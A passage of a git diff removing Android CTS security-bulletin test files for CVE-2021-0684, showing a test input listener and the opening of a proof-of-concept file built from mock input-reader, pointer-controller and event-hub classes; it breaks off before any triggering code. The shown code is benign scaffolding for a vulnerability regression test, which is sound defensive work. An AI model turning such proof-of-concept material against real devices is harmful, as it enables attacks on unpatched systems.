-template <class NotifyArgsType>
-void TestInputListener::assertNotCalled(std::string message) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- const bool eventReceived =
- mCondition.wait_for(lock, mEventDidNotHappenTimeout,
- [&queue]() REQUIRES(mLock) { return !queue.empty(); });
- if (eventReceived) {
- return;
- }
-}
-
-template <class NotifyArgsType>
-void TestInputListener::notify(const NotifyArgsType* args) {
- std::scoped_lock<std::mutex> lock(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- queue.push_back(*args);
- mCondition.notify_all();
-}
-
-void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
- notify<NotifyConfigurationChangedArgs>(args);
-}
-
-void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
- notify<NotifyDeviceResetArgs>(args);
-}
-
-void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
- notify<NotifyKeyArgs>(args);
-}
-
-void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
- notify<NotifyMotionArgs>(args);
-}
-
-void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
- notify<NotifySwitchArgs>(args);
-}
-
-void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
- notify<NotifyPointerCaptureChangedArgs>(args);
-}
-
-void TestInputListener::notifySensor(const NotifySensorArgs* args) {
- notify<NotifySensorArgs>(args);
-}
-
-void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
- notify<NotifyVibratorStateArgs>(args);
-}
-
-} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
deleted file mode 100644
index 067ac835ba2..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#ifndef _UI_TEST_INPUT_LISTENER_H
-#define _UI_TEST_INPUT_LISTENER_H
-
-#include <android-base/thread_annotations.h>
-#include "InputListener.h"
-
-using std::chrono_literals::operator""ms;
-
-namespace android {
-
-// --- TestInputListener ---
-
-class TestInputListener : public InputListenerInterface {
-protected:
- virtual ~TestInputListener();
-
-public:
- TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
- std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
-
- template <class NotifyArgsType>
- void assertCalled(NotifyArgsType* outEventArgs, std::string message);
-
- template <class NotifyArgsType>
- void assertNotCalled(std::string message);
-
- template <class NotifyArgsType>
- void notify(const NotifyArgsType* args);
-
- virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
-
- virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
-
- virtual void notifyKey(const NotifyKeyArgs* args) override;
-
- virtual void notifyMotion(const NotifyMotionArgs* args) override;
-
- virtual void notifySwitch(const NotifySwitchArgs* args) override;
-
- virtual void notifySensor(const NotifySensorArgs* args) override;
-
- virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
-
- virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
-
- std::mutex mLock;
- std::condition_variable mCondition;
- const std::chrono::milliseconds mEventHappenedTimeout;
- const std::chrono::milliseconds mEventDidNotHappenTimeout;
-
- std::tuple<std::vector<NotifyConfigurationChangedArgs>, //
- std::vector<NotifyDeviceResetArgs>, //
- std::vector<NotifyKeyArgs>, //
- std::vector<NotifyMotionArgs>, //
- std::vector<NotifySwitchArgs>, //
- std::vector<NotifySensorArgs>, //
- std::vector<NotifyVibratorStateArgs>, //
- std::vector<NotifyPointerCaptureChangedArgs>> //
- mQueues GUARDED_BY(mLock);
-};
-
-} // namespace android
-#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
deleted file mode 100644
index 13b33b6771f..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
+++ /dev/null
@@ -1,1236 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#include <InputMapper.h>
-#include <InputReader.h>
-#include <InputReaderBase.h>
-#include <InputReaderFactory.h>
-#include <MultiTouchInputMapper.h>
-#include <TestInputListener.h>
-
-namespace android {
-
-using std::chrono_literals::operator""ms;
-using namespace android::flag_operators;
-
-// Timeout for waiting for an expected event
-static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
-
-// An arbitrary time value.
-static constexpr nsecs_t ARBITRARY_TIME = 1234;
-static constexpr nsecs_t READ_TIME = 4321;
-
-// Arbitrary display properties.
-static constexpr int32_t DISPLAY_ID = 0;
-static constexpr int32_t DISPLAY_WIDTH = 480;
-static constexpr int32_t DISPLAY_HEIGHT = 800;
-static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
-static constexpr int32_t BATTERY_STATUS = 4;
-static constexpr int32_t BATTERY_CAPACITY = 66;
-static constexpr int32_t RAW_X_MIN = 25;
-static constexpr int32_t RAW_X_MAX = 1019;
-static constexpr int32_t RAW_Y_MIN = 30;
-static constexpr int32_t RAW_Y_MAX = 1009;
-constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
-constexpr int32_t DEVICE_GENERATION = 2;
-
-const char* DEVICE_NAME = "device";
-const char* DEVICE_LOCATION = "USB1";
-const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
-constexpr int32_t EVENTHUB_ID = 1;
-const std::string UNIQUE_ID = "local:0";
-
-template <typename T>
-static inline T min(T a, T b) {
- return a < b ? a : b;
-}
-
-// --- TestPointerController ---
-
-class TestPointerController : public PointerControllerInterface {
- bool mHaveBounds;
- float mMinX, mMinY, mMaxX, mMaxY;
- float mX, mY;
- int32_t mButtonState;
- int32_t mDisplayId;
-
-public:
- TestPointerController()
- : mHaveBounds(false),
- mMinX(0),
- mMinY(0),
- mMaxX(0),
- mMaxY(0),
- mX(0),
- mY(0),
- mButtonState(0),
- mDisplayId(ADISPLAY_ID_DEFAULT) {}
-
- virtual ~TestPointerController() {}
-
- void setBounds(float minX, float minY, float maxX, float maxY) {
- mHaveBounds = true;
- mMinX = minX;
- mMinY = minY;
- mMaxX = maxX;
- mMaxY = maxY;
- }
-
- void setPosition(float x, float y) override {
- mX = x;
- mY = y;
- }
-
- void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
-
- int32_t getButtonState() const override { return mButtonState; }
-
- void getPosition(float* outX, float* outY) const override {
- *outX = mX;
- *outY = mY;
- }
-
- int32_t getDisplayId() const override { return mDisplayId; }
-
- void setDisplayViewport(const DisplayViewport& viewport) override {
- mDisplayId = viewport.displayId;
- }
-
- const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
-
-private:
- bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
- *outMinX = mMinX;
- *outMinY = mMinY;
- *outMaxX = mMaxX;
- *outMaxY = mMaxY;
- return mHaveBounds;
- }
-
- void move(float deltaX, float deltaY) override {
- mX += deltaX;
- if (mX < mMinX) mX = mMinX;
- if (mX > mMaxX) mX = mMaxX;
- mY += deltaY;
- if (mY < mMinY) mY = mMinY;
- if (mY > mMaxY) mY = mMaxY;
- }
-
- void fade(Transition) override {}
-
- void unfade(Transition) override {}
-
- void setPresentation(Presentation) override {}
-
- void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
- int32_t displayId) override {
- std::vector<int32_t> newSpots;
- // Add spots for fingers that are down.
- for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
- uint32_t id = idBits.clearFirstMarkedBit();
- newSpots.push_back(id);
- }
-
- mSpotsByDisplay[displayId] = newSpots;
- }
-
- void clearSpots() override {}
-
- std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
-};
-
-// --- TestInputReaderPolicy---
-
-class TestInputReaderPolicy : public InputReaderPolicyInterface {
- std::mutex mLock;
- std::condition_variable mDevicesChangedCondition;
-
- InputReaderConfiguration mConfig;
- std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
- std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
- bool mInputDevicesChanged GUARDED_BY(mLock){false};
- std::vector<DisplayViewport> mViewports;
- TouchAffineTransformation transform;
-
-protected:
- virtual ~TestInputReaderPolicy() {}
-
-public:
- TestInputReaderPolicy() {}
-
- virtual void clearViewports() {
- mViewports.clear();
- mConfig.setDisplayViewports(mViewports);
- }
-
- std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
- return mConfig.getDisplayViewportByUniqueId(uniqueId);
- }
- std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
- return mConfig.getDisplayViewportByType(type);
- }
-
- std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
- return mConfig.getDisplayViewportByPort(displayPort);
- }
-
- void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
- bool isActive, const std::string& uniqueId,
- std::optional<uint8_t> physicalPort, ViewportType viewportType) {
- const DisplayViewport viewport =
- createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
- physicalPort, viewportType);
- mViewports.push_back(viewport);
- mConfig.setDisplayViewports(mViewports);
- }
-
- bool updateViewport(const DisplayViewport& viewport) {
- size_t count = mViewports.size();
- for (size_t i = 0; i < count; i++) {
- const DisplayViewport& currentViewport = mViewports[i];
- if (currentViewport.displayId == viewport.displayId) {
- mViewports[i] = viewport;
- mConfig.setDisplayViewports(mViewports);
- return true;
- }
- }
- // no viewport found.
- return false;
- }
-
- void addExcludedDeviceName(const std::string& deviceName) {
- mConfig.excludedDeviceNames.push_back(deviceName);
- }
-
- void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
- mConfig.portAssociations.insert({inputPort, displayPort});
- }
-
- void addInputUniqueIdAssociation(const std::string& inputUniqueId,
- const std::string& displayUniqueId) {
- mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
- }
-
- void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
-
- void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
-
- void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
- mPointerControllers.insert_or_assign(deviceId, std::move(controller));
- }
-
- const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
-
- const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
-
- TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
- int32_t surfaceRotation) {
- return transform;
- }
-
- void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
-
- void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; }
-
- void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
-
- void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
- mConfig.defaultPointerDisplayId = pointerDisplayId;
- }
-
- float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
-
-private:
- DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
- int32_t orientation, bool isActive,
- const std::string& uniqueId,
- std::optional<uint8_t> physicalPort, ViewportType type) {
- bool isRotated =
- (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
- DisplayViewport v;
- v.displayId = displayId;
- v.orientation = orientation;
- v.logicalLeft = 0;
- v.logicalTop = 0;
- v.logicalRight = isRotated ? height : width;
- v.logicalBottom = isRotated ? width : height;
- v.physicalLeft = 0;
- v.physicalTop = 0;
- v.physicalRight = isRotated ? height : width;
- v.physicalBottom = isRotated ? width : height;
- v.deviceWidth = isRotated ? height : width;
- v.deviceHeight = isRotated ? width : height;
- v.isActive = isActive;
- v.uniqueId = uniqueId;
- v.physicalPort = physicalPort;
- v.type = type;
- return v;
- }
-
- void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
- *outConfig = mConfig;
- }
-
- std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
- return mPointerControllers[deviceId];
- }
-
- void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mInputDevices = inputDevices;
- mInputDevicesChanged = true;
- mDevicesChangedCondition.notify_all();
- }
-
- std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
- const InputDeviceIdentifier&) override {
- return nullptr;
- }
-
- std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
-
- void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
- return mInputDevicesChanged;
- });
- mInputDevicesChanged = false;
- }
-};
-
-// --- TestEventHub ---
-
-class TestEventHub : public EventHubInterface {
- struct KeyInfo {
- int32_t keyCode;
- uint32_t flags;
- };
-
- struct SensorInfo {
- InputDeviceSensorType sensorType;
- int32_t sensorDataIndex;
- };
-
- struct Device {
- InputDeviceIdentifier identifier;
- Flags<InputDeviceClass> classes;
- PropertyMap configuration;
- KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
- KeyedVector<int, bool> relativeAxes;
- KeyedVector<int32_t, int32_t> keyCodeStates;
- KeyedVector<int32_t, int32_t> scanCodeStates;
- KeyedVector<int32_t, int32_t> switchStates;
- KeyedVector<int32_t, int32_t> absoluteAxisValue;
- KeyedVector<int32_t, KeyInfo> keysByScanCode;
- KeyedVector<int32_t, KeyInfo> keysByUsageCode;
- KeyedVector<int32_t, bool> leds;
- std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
- BitArray<MSC_MAX> mscBitmask;
- std::vector<VirtualKeyDefinition> virtualKeys;
- bool enabled;
-
- status_t enable() {
- enabled = true;
- return OK;
- }
-
- status_t disable() {
- enabled = false;
- return OK;
- }
-
- explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
- };
-
- std::mutex mLock;
- std::condition_variable mEventsCondition;
-
- KeyedVector<int32_t, Device*> mDevices;
- std::vector<std::string> mExcludedDevices;
- std::vector<RawEvent> mEvents GUARDED_BY(mLock);
- std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
- std::vector<int32_t> mVibrators = {0, 1};
- std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
- // Simulates a device light brightness, from light id to light brightness.
- std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
- // Simulates a device light intensities, from light id to light intensities map.
- std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
- mLightIntensities;
-
-public:
- virtual ~TestEventHub() {
- for (size_t i = 0; i < mDevices.size(); i++) {
- delete mDevices.valueAt(i);
- }
- }
-
- TestEventHub() {}
-
- void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
- Device* device = new Device(classes);
- device->identifier.name = name;
- mDevices.add(deviceId, device);
-
- enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
- }
-
- void removeDevice(int32_t deviceId) {
- delete mDevices.valueFor(deviceId);
- mDevices.removeItem(deviceId);
-
- enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
- }
-
- bool isDeviceEnabled(int32_t deviceId) {
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return false;
- }
- return device->enabled;
- }
-
- status_t enableDevice(int32_t deviceId) {
- status_t result;
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return BAD_VALUE;
- }
- if (device->enabled) {
- ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
- return OK;
- }
- result = device->enable();
- return result;
- }
-
- status_t disableDevice(int32_t deviceId) {
- Device* device = getDevice(deviceId);
- if (device == nullptr) {
- ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
- return BAD_VALUE;
- }
- if (!device->enabled) {
- ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
- return OK;
- }
- return device->disable();
- }
-
- void finishDeviceScan() {
- enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
- }
-
- void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
- Device* device = getDevice(deviceId);
- device->configuration.addProperty(key, value);
- }
-
- void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
- Device* device = getDevice(deviceId);
- device->configuration.addAll(configuration);
- }
-
- void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
- int fuzz, int resolution = 0) {
- Device* device = getDevice(deviceId);
-
- RawAbsoluteAxisInfo info;
- info.valid = true;
- info.minValue = minValue;
- info.maxValue = maxValue;
- info.flat = flat;
- info.fuzz = fuzz;
- info.resolution = resolution;
- device->absoluteAxes.add(axis, info);
- }
-
- void addRelativeAxis(int32_t deviceId, int32_t axis) {
- Device* device = getDevice(deviceId);
- device->relativeAxes.add(axis, true);
- }
-
- void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->keyCodeStates.replaceValueFor(keyCode, state);
- }
-
- void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->scanCodeStates.replaceValueFor(scanCode, state);
- }
-
- void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->switchStates.replaceValueFor(switchCode, state);
- }
-
- void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
- Device* device = getDevice(deviceId);
- device->absoluteAxisValue.replaceValueFor(axis, value);
- }
-
- void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
- uint32_t flags) {
- Device* device = getDevice(deviceId);
- KeyInfo info;
- info.keyCode = keyCode;
- info.flags = flags;
- if (scanCode) {
- device->keysByScanCode.add(scanCode, info);
- }
- if (usageCode) {
- device->keysByUsageCode.add(usageCode, info);
- }
- }
-
- void addLed(int32_t deviceId, int32_t led, bool initialState) {
- Device* device = getDevice(deviceId);
- device->leds.add(led, initialState);
- }
-
- void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
- int32_t sensorDataIndex) {
- Device* device = getDevice(deviceId);
- SensorInfo info;
- info.sensorType = sensorType;
- info.sensorDataIndex = sensorDataIndex;
- device->sensorsByAbsCode.emplace(absCode, info);
- }
-
- void setMscEvent(int32_t deviceId, int32_t mscEvent) {
- Device* device = getDevice(deviceId);
- typename BitArray<MSC_MAX>::Buffer buffer;
- buffer[mscEvent / 32] = 1 << mscEvent % 32;
- device->mscBitmask.loadFromBuffer(buffer);
- }
-
- void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
- mRawLightInfos.emplace(rawId, std::move(info));
- }
-
- void testLightBrightness(int32_t rawId, int32_t brightness) {
- mLightBrightness.emplace(rawId, brightness);
- }
-
- void testLightIntensities(int32_t rawId,
- const std::unordered_map<LightColor, int32_t> intensities) {
- mLightIntensities.emplace(rawId, std::move(intensities));
- }
-
- bool getLedState(int32_t deviceId, int32_t led) {
- Device* device = getDevice(deviceId);
- return device->leds.valueFor(led);
- }
-
- std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
-
- void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
- Device* device = getDevice(deviceId);
- device->virtualKeys.push_back(definition);
- }
-
- void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
- int32_t value) {
- std::scoped_lock<std::mutex> lock(mLock);
- RawEvent event;
- event.when = when;
- event.readTime = readTime;
- event.deviceId = deviceId;
- event.type = type;
- event.code = code;
- event.value = value;
- mEvents.push_back(event);
-
- if (type == EV_ABS) {
- setAbsoluteAxisValue(deviceId, code, value);
- }
- }
-
- void setVideoFrames(
- std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
- mVideoFrames = std::move(videoFrames);
- }
-
-private:
- Device* getDevice(int32_t deviceId) const {
- ssize_t index = mDevices.indexOfKey(deviceId);
- return index >= 0 ? mDevices.valueAt(index) : nullptr;
- }
-
- Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
- Device* device = getDevice(deviceId);
- return device ? device->classes : Flags<InputDeviceClass>(0);
- }
-
- InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
- Device* device = getDevice(deviceId);
- return device ? device->identifier : InputDeviceIdentifier();
- }
-
- int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
-
- void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- *outConfiguration = device->configuration;
- }
- }
-
- status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
- RawAbsoluteAxisInfo* outAxisInfo) const override {
- Device* device = getDevice(deviceId);
- if (device && device->enabled) {
- ssize_t index = device->absoluteAxes.indexOfKey(axis);
- if (index >= 0) {
- *outAxisInfo = device->absoluteAxes.valueAt(index);
- return OK;
- }
- }
- outAxisInfo->clear();
- return -1;
- }
-
- bool hasRelativeAxis(int32_t deviceId, int axis) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- return device->relativeAxes.indexOfKey(axis) >= 0;
- }
- return false;
- }
-
- bool hasInputProperty(int32_t, int) const override { return false; }
-
- bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
- Device* device = getDevice(deviceId);
- if (device) {
- return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
- }
- return false;
- }
-
- status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
- int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- const KeyInfo* key = getKey(device, scanCode, usageCode);
- if (key) {
- if (outKeycode) {
- *outKeycode = key->keyCode;
- }
- if (outFlags) {
- *outFlags = key->flags;
- }
- if (outMetaState) {
- *outMetaState = metaState;
- }
- return OK;
- }
- }
- return NAME_NOT_FOUND;
- }
-
- const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
- if (usageCode) {
- ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
- if (index >= 0) {
- return &device->keysByUsageCode.valueAt(index);
- }
- }
- if (scanCode) {
- ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
- if (index >= 0) {
- return &device->keysByScanCode.valueAt(index);
- }
- }
- return nullptr;
- }
-
- status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
-
- base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
- int32_t absCode) {
- Device* device = getDevice(deviceId);
- if (!device) {
- return Errorf("Sensor device not found.");
- }
- auto it = device->sensorsByAbsCode.find(absCode);
- if (it == device->sensorsByAbsCode.end()) {
- return Errorf("Sensor map not found.");
- }
- const SensorInfo& info = it->second;
- return std::make_pair(info.sensorType, info.sensorDataIndex);
- }
-
- void setExcludedDevices(const std::vector<std::string>& devices) override {
- mExcludedDevices = devices;
- }
-
- size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
- std::scoped_lock lock(mLock);
-
- const size_t filledSize = std::min(mEvents.size(), bufferSize);
- std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
-
- mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
- mEventsCondition.notify_all();
- return filledSize;
- }
-
- std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
- auto it = mVideoFrames.find(deviceId);
- if (it != mVideoFrames.end()) {
- std::vector<TouchVideoFrame> frames = std::move(it->second);
- mVideoFrames.erase(deviceId);
- return frames;
- }
- return {};
- }
-
- int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
- if (index >= 0) {
- return device->scanCodeStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
- if (index >= 0) {
- return device->keyCodeStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->switchStates.indexOfKey(sw);
- if (index >= 0) {
- return device->switchStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
- int32_t* outValue) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
- if (index >= 0) {
- *outValue = device->absoluteAxisValue.valueAt(index);
- return OK;
- }
- }
- *outValue = 0;
- return -1;
- }
-
- // Return true if the device has non-empty key layout.
- bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
- uint8_t* outFlags) const override {
- bool result = false;
- Device* device = getDevice(deviceId);
- if (device) {
- result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
- for (size_t i = 0; i < numCodes; i++) {
- for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
- if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
- outFlags[i] = 1;
- }
- }
- for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
- if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
- outFlags[i] = 1;
- }
- }
- }
- }
- return result;
- }
-
- bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
- return index >= 0;
- }
- return false;
- }
-
- bool hasLed(int32_t deviceId, int32_t led) const override {
- Device* device = getDevice(deviceId);
- return device && device->leds.indexOfKey(led) >= 0;
- }
-
- void setLedState(int32_t deviceId, int32_t led, bool on) override {}
-
- void getVirtualKeyDefinitions(
- int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
- outVirtualKeys.clear();
-
- Device* device = getDevice(deviceId);
- if (device) {
- outVirtualKeys = device->virtualKeys;
- }
- }
-
- const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
- return nullptr;
- }
-
- bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
- return false;
- }
-
- void vibrate(int32_t, const VibrationElement&) override {}
-
- void cancelVibrate(int32_t) override {}
-
- std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
-
- std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
- return BATTERY_CAPACITY;
- }
-
- std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
- return BATTERY_STATUS;
- }
-
- const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
-
- std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
- return std::nullopt;
- }
-
- const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
- std::vector<int32_t> ids;
- for (const auto& [rawId, info] : mRawLightInfos) {
- ids.push_back(rawId);
- }
- return ids;
- }
-
- std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
- auto it = mRawLightInfos.find(lightId);
- if (it == mRawLightInfos.end()) {
- return std::nullopt;
- }
- return it->second;
- }
-
- void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
